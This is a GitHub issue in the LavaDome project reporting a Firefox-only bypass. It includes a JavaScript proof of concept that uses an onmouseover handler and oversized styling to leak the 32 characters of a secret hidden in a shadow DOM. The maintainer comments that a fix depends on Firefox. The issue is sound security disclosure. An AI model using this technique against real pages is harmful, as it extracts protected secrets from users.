Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

LavaDome is vulnerable to onmouseover #37

Open
weizman opened this issue Apr 23, 2024 · 1 comment
Open

LavaDome is vulnerable to onmouseover #37

weizman opened this issue Apr 23, 2024 · 1 comment
Labels
bypass LavaDome security breach firefox Firefox related

Comments

@weizman
Copy link
Member

weizman commented Apr 23, 2024

Another one by @masatokinugawa (FF only):

let foundChars = "";
PRIVATE.onmouseover = e => {
  const originalTarget = e.originalTarget;
  const host = originalTarget.parentNode.host;
  if (host && Array.from(host.parentElement.children).indexOf(host) === 0) {
    foundChars += originalTarget.innerText;
    console.log(foundChars);
    if (foundChars.length === 32) {
      alert(foundChars);
    }
    host.remove();
  }
}
PRIVATE.style.position = "absolute";
PRIVATE.style.top = "0";
PRIVATE.style.left = "0";
PRIVATE.style.padding = "0";
PRIVATE.style.margin = "0";
PRIVATE.style.fontFamily = "Consolas";
PRIVATE.style.letterSpacing = "100vw";
PRIVATE.style.fontSize = "100vw";
@weizman weizman added bypass LavaDome security breach firefox Firefox related labels Jun 23, 2024
@weizman weizman changed the title Firefox onmouseover bypass LavaDome is vulnerable to onmouseover Jul 3, 2024
@weizman
Copy link
Member Author

weizman commented Jul 4, 2024

Can't think of a solution for this one, Firefox seem to insist on leaking information from within shadowDOMs through funnels I can't seem to understand. This one, like #15, really requires Firefox to adjust themselves for LavaDome to become secure against this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bypass LavaDome security breach firefox Firefox related
Projects
None yet
Development

No branches or pull requests

1 participant